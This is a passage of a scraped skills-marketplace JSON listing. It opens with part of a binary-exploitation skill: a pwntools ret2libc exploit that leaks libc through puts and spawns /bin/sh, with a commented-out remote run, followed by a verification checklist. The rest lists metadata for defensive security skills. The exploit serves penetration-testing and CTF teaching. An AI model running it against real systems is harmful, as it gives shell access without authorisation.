rop1.call(elf.symbols[\"main\"])\n\n    payload1 = flat(b\"A\" * OFFSET, rop1.chain())\n    target.sendlineafter(b\"Input: \", payload1)\n\n    leaked = u64(target.recvline().strip().ljust(8, b\"\\x00\"))\n    log.success(f\"Leaked puts: {hex(leaked)}\")\n\n    # Stage 2: ret2libc\n    libc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n    libc.address = leaked - libc.symbols[\"puts\"]\n\n    rop2 = ROP(libc)\n    rop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\n    payload2 = flat(b\"A\" * OFFSET, rop2.chain())\n    target.sendlineafter(b\"Input: \", payload2)\n\n    target.interactive()\n\n# Test locally first\nlog.info(\"Testing exploit locally...\")\nlocal = process(binary_path)\nexploit(local)\n\n# Then run against remote target\n# log.info(\"Running exploit against remote target...\")\n# remote = remote(REMOTE_HOST, REMOTE_PORT)\n# exploit(remote)\n```\n\n## Verification\n\n- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection\n- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP\u002FEIP contains the expected cyclic value\n- Test shellcode payloads execute correctly in a controlled environment with NX disabled\n- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall\u002Ffunction call\n- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used\n- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses\n- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)\n- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary\n",{"name":5,"tags":47,"author":48,"domain":40,"license":15,"version":49,"nist_csf":50,"subdomain":35,"description":54,"mitre_attack":55},[31,30,29,28],"mahipal","1.0",[51,52,53],"ID.RA-01","GV.OV-02","DE.AE-07","Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.\n",[56,57,58],"T1078","T1190","T1059","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-binary-exploitation-analysis",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":70,"prompt":80,"zipAvailable":81},[71,74,77],{"tool":72,"command":73},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-binary-exploitation-analysis",{"tool":75,"command":76},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-binary-exploitation-analysis",{"tool":78,"command":79},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-binary-exploitation-analysis","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002FSKILL.md",true,[83,88,94],{"path":84,"resourceType":84,"resourceTypeDesc":85,"sizeBytes":86,"sourceHtmlUrl":87},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002FLICENSE",{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fapi-reference.md","REFERENCE","参考文档",1755,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002Freferences\u002Fapi-reference.md",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"scripts\u002Fagent.py","SCRIPT","脚本",7875,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002Fscripts\u002Fagent.py",[101,127,151,178,204,230],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":108,"publishedAt":42},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[107],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[109,110,111,112,34,40,113,114,115,116,117,118,119,120,121,122,123,124,125,126],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":134,"publishedAt":42},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[133],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[135,123,136,137,34,138,40,115,139,140,141,142,143,144,145,146,147,148,149,150],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":152,"name":153,"nameZh":6,"description":154,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":155,"categories":156,"keywords":161,"publishedAt":42},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[157,160],{"categoryNo":158,"categoryName":159,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[145,162,163,164,165,40,166,167,139,168,169,170,171,172,173,27,174,175,176,177],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":185,"publishedAt":42},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[184],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[186,187,188,40,189,190,191,192,193,194,195,196,197,198,199,200,142,201,202,203],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":205,"name":206,"nameZh":6,"description":207,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":208,"categories":209,"keywords":211,"publishedAt":42},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[210],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[39,212,213,40,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":231,"name":232,"nameZh":6,"description":233,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":234,"categories":235,"keywords":237,"publishedAt":42},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[236],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[34,238,40,239,240,241,242,243,244,245,246,27,247,174,25,248,249,250,251,252],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]